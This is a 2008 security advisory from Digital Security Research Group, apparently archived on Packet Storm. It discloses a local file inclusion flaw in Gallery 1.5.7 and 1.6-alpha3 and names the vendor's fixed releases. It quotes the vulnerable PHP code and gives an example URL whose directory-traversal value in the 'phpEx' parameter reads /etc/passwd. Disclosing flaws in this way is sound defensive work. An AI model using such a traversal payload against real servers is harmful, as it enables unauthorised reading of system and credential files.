what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

DSECRG-08-035.txt

DSECRG-08-035.txt
Posted Aug 8, 2008
Authored by Digital Security Research Group | Site dsecrg.com

Gallery version 1.5.7 and 1.6-alpha3 suffer from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | ebb3687b57b82586a67f94319d168fb825fb1e5e7b36ec847729ac16fc9aced6

DSECRG-08-035.txt

Change Mirror Download

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-035


Application: Gallery
Versions Affected: 1.5.7, 1.6-alpha3
Vendor URL: http://gallery.menalto.com/
Bug: Local File Include
Exploits: YES
Reported: 14.07.2008
Vendor response: 15.07.2008
Solution: YES
Date of Public Advisory: 08.08.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Gallery system has local file include vulnerability in script contrib/phpBB2/modules.php

Successful exploitation requires that "register_globals" is enabled.

Code
****
#################################################

switch ($_REQUEST['op']) {
case 'modload':
// Added with changes in Security for PhpBB2.
define('IN_PHPBB', true);

define ("LOADED_AS_MODULE","1");
$phpbb_root_path = "./";
// connect to phpbb
include_once($phpbb_root_path . 'extension.inc');
include_once($phpbb_root_path . 'common.'.$phpEx);
include_once($phpbb_root_path . 'includes/functions.'.$phpEx);

#################################################

Example:

http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx=../../../../../../../../../../../../../etc/passwd


Solution
********

Vendor fix this flaw on 05.08.2008. Download Gallery 1.5.8 and 1.6-RC1 from download page on SourceForge:

http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=7239&abmode=1

More information about release: http://gallery.menalto.com/gallery_1.5.8_released



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close